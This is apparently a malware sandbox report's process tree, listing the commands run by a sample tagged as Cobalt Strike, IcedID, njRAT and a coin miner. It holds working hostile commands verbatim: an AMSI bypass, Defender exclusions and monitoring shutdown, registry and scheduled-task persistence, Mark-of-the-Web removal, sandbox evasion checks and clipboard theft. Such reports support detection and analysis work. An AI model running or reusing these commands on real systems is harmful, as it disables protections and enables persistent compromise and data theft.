- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsUpdateAgent_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe" /sc minute /mo 3 /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1080
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_1" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe" /f"
  2⤵
  PID:4612
- - C:\Windows\system32\cmd.exe
    cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_1" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe" /f
    3⤵
    PID:688
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_1" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe" /f
      4⤵
      Adds policy Run key to start application
      PID:4852
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_2" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe" /f"
  2⤵
  PID:1584
- - C:\Windows\system32\cmd.exe
    cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_2" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe" /f
    3⤵
    PID:4280
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_2" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe" /f
      4⤵
      Adds policy Run key to start application
      PID:3068
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_3" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe" /f"
  2⤵
  PID:1240
- - C:\Windows\system32\cmd.exe
    cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_3" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe" /f
    3⤵
    PID:1152
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_3" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe" /f
      4⤵
      Adds policy Run key to start application
      PID:5796
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_4" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe" /f"
  2⤵
  PID:5564
- - C:\Windows\system32\cmd.exe
    cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_4" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe" /f
    3⤵
    PID:5552
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_4" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe" /f
      4⤵
      Adds policy Run key to start application
      PID:5508
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Temp\2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:72
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Temp\2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe:Zone.Identifier"
    3⤵
    PID:1672
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:6016
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier"
    3⤵
    PID:4620
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:1984
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe:Zone.Identifier"
    3⤵
    PID:692
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:5480
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe:Zone.Identifier"
    3⤵
    PID:1580
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:1964
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe:Zone.Identifier"
    3⤵
    PID:240
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:328
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe:Zone.Identifier"
    3⤵
    PID:5748
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "[Ref].Assembly.GetType(\"System.Management.Automation.AmsiUtils\").GetField(\"amsiInitFailed\",\"NonPublic,Static\").SetValue($null,$true);[Ref].Assembly.GetType(\"System.Management.Automation.AmsiUtils\").GetField(\"amsiSession\",\"NonPublic,Static\").SetValue($null,$null)"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:6012
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\Downloads\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2464
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:916
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"MsEdgeAutoUpdate.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1692
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4852
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3248
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"MicrosoftEdgeUpdate.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2524
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\Media Player\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2052
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"wmlaunch.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5824
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:704
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"SearchFilterHost.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:240
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1068
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"wuauclt.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5336
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Temp\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3632
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue"
  2⤵
  PID:1532
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Set-MpPreference -SubmitSamplesConsent NeverSend -ErrorAction SilentlyContinue;Set-MpPreference -MAPSReporting 0 -ErrorAction SilentlyContinue;Set-MpPreference -DisableBlockAtFirstSeen $true -ErrorAction SilentlyContinue"
  2⤵
  PID:3248
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "try{$p=\"HKCU:\Software\Microsoft\Windows Defender\Exclusions\Paths\";if(!(Test-Path $p)){New-Item -Path $p -Force|Out-Null};New-ItemProperty -Path $p -Name \"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\EdgeUpdate\" -Value 0 -PropertyType DWORD -Force|Out-Null}catch{}"
  2⤵
  PID:2508
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "MsEdgeUpdateSvcExcl" /tr "powershell -NoP -W Hidden -Enc JGU9QCgiQzpcXFVzZXJzXFxBZG1pblxcQXBwRGF0YVxcTG9jYWxcXE1pY3Jvc29mdFxcRWRnZVVwZGF0ZSIsIkM6XFxVc2Vyc1xcQWRtaW5cXEFwcERhdGFcXExvY2FsXFxUZW1wIiwiQzpcXFVzZXJzXFxBZG1pblxcRG93bmxvYWRzIik7Zm9yZWFjaCgkcCBpbiAkZSl7dHJ5e0FkZC1NcFByZWZlcmVuY2UgLUV4Y2x1c2lvblBhdGggJHAgLUVBIDB9Y2F0Y2h7fX0=" /sc minute /mo 5 /f /rl LIMITED"
  2⤵
  PID:5112
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "MsEdgeUpdateSvcExcl" /tr "powershell -NoP -W Hidden -Enc JGU9QCgiQzpcXFVzZXJzXFxBZG1pblxcQXBwRGF0YVxcTG9jYWxcXE1pY3Jvc29mdFxcRWRnZVVwZGF0ZSIsIkM6XFxVc2Vyc1xcQWRtaW5cXEFwcERhdGFcXExvY2FsXFxUZW1wIiwiQzpcXFVzZXJzXFxBZG1pblxcRG93bmxvYWRzIik7Zm9yZWFjaCgkcCBpbiAkZSl7dHJ5e0FkZC1NcFByZWZlcmVuY2UgLUV4Y2x1c2lvblBhdGggJHAgLUVBIDB9Y2F0Y2h7fX0=" /sc minute /mo 5 /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:244
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3248
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\ngen_service.exe""
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:4720
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\ngen_service.exe"
    3⤵
    - Views/modifies file attributes
    PID:1208
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\ngen_service.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:564
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\ngen_service.exe:Zone.Identifier"
    3⤵
    PID:5784

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:3888

C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe
C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe
1⤵
- Executes dropped EXE
- Subvert Trust Controls: Mark-of-the-Web Bypass
- Checks processor information in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
PID:4064
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c "del /f /q \"C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier\" 2>nul""
  2⤵
  PID:996
- - C:\Windows\system32\cmd.exe
    cmd /c "del /f /q \"C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier\" 2>nul"
    3⤵
    PID:2716
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic csproduct get uuid"
  2⤵
  PID:664
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    PID:3248
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic desktopmonitor get ScreenWidth,ScreenHeight /format:csv"
  2⤵
  PID:3480
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic desktopmonitor get ScreenWidth,ScreenHeight /format:csv
    3⤵
    PID:2964
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic logicaldisk where "DriveType=3" get Size /format:csv"
  2⤵
  PID:4556
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic logicaldisk where "DriveType=3" get Size /format:csv
    3⤵
    PID:5952
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get Name /format:csv"
  2⤵
  PID:5540
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic path win32_VideoController get Name /format:csv
    3⤵
    - Detects videocard installed
    PID:4288
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools" 2>nul"
  2⤵
  PID:6032
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools"
    3⤵
    - Looks for VMWare Tools registry key
    PID:2020
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions" 2>nul"
  2⤵
  PID:4788
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions"
    3⤵
    - Looks for VirtualBox Guest Additions in registry
    PID:3404
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest" 2>nul"
  2⤵
  PID:4424
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest"
    3⤵
    - Enumerates VirtualBox registry keys
    PID:2480
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxSF" 2>nul"
  2⤵
  PID:5660
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxSF"
    3⤵
    - Enumerates VirtualBox registry keys
    PID:5848
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmci" 2>nul"
  2⤵
  PID:4488
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmci"
    3⤵
    - Looks for VMWare services registry key.
    PID:5200
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmhgfs" 2>nul"
  2⤵
  PID:1664
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmhgfs"
    3⤵
    PID:3276
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\VMMEMCTL" 2>nul"
  2⤵
  PID:3948
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\VMMEMCTL"
    3⤵
    - Looks for VMWare services registry key.
    PID:4944
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\QEMU" 2>nul"
  2⤵
  PID:3540
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\QEMU"
    3⤵
    PID:3112
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Parallels" 2>nul"
  2⤵
  PID:4908
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Parallels"
    3⤵
    PID:3248
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Wine" 2>nul"
  2⤵
  PID:5092
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Wine"
    3⤵
    - Identifies Wine through registry keys
    PID:4356
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\xenevtchn" 2>nul"
  2⤵
  PID:2236
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\xenevtchn"
    3⤵
    - Looks for Xen service registry key.
    PID:5248
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Sandboxie" 2>nul"
  2⤵
  PID:5260
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Sandboxie"
    3⤵
    PID:3800
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Cuckoo" 2>nul"
  2⤵
  PID:6060
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Cuckoo"
    3⤵
    PID:1776
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\JoeBox" 2>nul"
  2⤵
  PID:236
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\JoeBox"
    3⤵
    PID:2548
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist /FO CSV /NH"
  2⤵
  PID:2432
- - C:\Windows\system32\tasklist.exe
    tasklist /FO CSV /NH
    3⤵
    - Enumerates processes with tasklist
    PID:5672
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "getmac /FO CSV /NH"
  2⤵
  PID:3188
- - C:\Windows\system32\getmac.exe
    getmac /FO CSV /NH
    3⤵
    PID:5288
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "driverquery /FO CSV"
  2⤵
  PID:6040
- - C:\Windows\system32\driverquery.exe
    driverquery /FO CSV
    3⤵
    PID:4508
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoP -Command "Get-Process|Where-Object{$_.MainWindowTitle}|Select-Object -ExpandProperty MainWindowTitle""
  2⤵
  PID:2628
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Command "Get-Process|Where-Object{$_.MainWindowTitle}|Select-Object -ExpandProperty MainWindowTitle"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5388
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoP -Command "(Invoke-WebRequest -Uri 'http://ip-api.com/line?fields=query,hosting' -UseBasicParsing -TimeoutSec 5).Content""
  2⤵
  PID:4804
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Command "(Invoke-WebRequest -Uri 'http://ip-api.com/line?fields=query,hosting' -UseBasicParsing -TimeoutSec 5).Content"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    PID:4296
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoP -Command "Add-Type @'using System;using System.Runtime.InteropServices;public class D{[DllImport(\"kernel32\")]public static extern bool IsDebuggerPresent();}'@;[D]::IsDebuggerPresent()""
  2⤵
  PID:2824
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Command "Add-Type @'using System;using System.Runtime.InteropServices;public class D{[DllImport(\"kernel32\")]public static extern bool IsDebuggerPresent();}'@;[D]::IsDebuggerPresent()"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:804
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic computersystem get Manufacturer,Model /format:csv"
  2⤵
  PID:1992
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic computersystem get Manufacturer,Model /format:csv
    3⤵
    PID:2116
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic bios get Manufacturer,SMBIOSBIOSVersion /format:csv"
  2⤵
  PID:1876
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic bios get Manufacturer,SMBIOSBIOSVersion /format:csv
    3⤵
    PID:5152
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoP -Command "(Get-Process -Id $PID).Parent.ProcessName""
  2⤵
  PID:4604
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Command "(Get-Process -Id $PID).Parent.ProcessName"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5504
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net use"
  2⤵
  PID:968
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1156
- - C:\Windows\system32\net.exe
    net use
    3⤵
    PID:4516
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist /NH"
  2⤵
  PID:5396
- - C:\Windows\system32\tasklist.exe
    tasklist /NH
    3⤵
    - Enumerates processes with tasklist
    PID:3712
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s 2>nul"
  2⤵
  PID:2528
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s
    3⤵
    PID:5744
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get SerialNumber /format:csv"
  2⤵
  PID:4572
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic diskdrive get SerialNumber /format:csv
    3⤵
    PID:4924
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoP -Command "(Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion').InstallDate""
  2⤵
  PID:2968
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Command "(Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion').InstallDate"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5988
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic csproduct get uuid 2>nul"
  2⤵
  PID:3276
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    PID:4836
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\CLR\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4848
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /noconfig /nologo /optimize+ /out:C:\Users\Admin\AppData\Local\Microsoft\CLR\pre_strm_1780275959464.exe /lib:C:\Windows\Microsoft.NET\Framework64\v4.0.30319 /r:mscorlib.dll /r:System.dll /r:System.Drawing.dll /r:System.Windows.Forms.dll /target:winexe C:\Users\Admin\AppData\Local\Microsoft\CLR\pre_strm_1780275959464.cs
  2⤵
  PID:5748
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4508
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES22C1.tmp" "c:\Users\Admin\AppData\Local\Microsoft\CLR\CSCD53F8C8B70344FF0B3BB57F079FB38E.TMP"
    3⤵
    PID:2460
- C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe
  C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe C:\snapshot\12vt\panel\server\build_temp\build_1780249658123_knzyxb\index.js
  2⤵
  - Executes dropped EXE
  - Subvert Trust Controls: Mark-of-the-Web Bypass
  - NTFS ADS
  PID:4976
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "cmd /c "del /f /q \"C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier\" 2>nul""
    3⤵
    PID:5800
  - - C:\Windows\system32\cmd.exe
      cmd /c "del /f /q \"C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier\" 2>nul"
      4⤵
      PID:3904
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -Command "Get-Clipboard""
    3⤵
    - Clipboard Data
    PID:5160
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -NonInteractive -Command "Get-Clipboard"
      4⤵
      Clipboard Data
      PID:4548
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic product get name,version /format:csv 2>nul"
    3⤵
    PID:2312
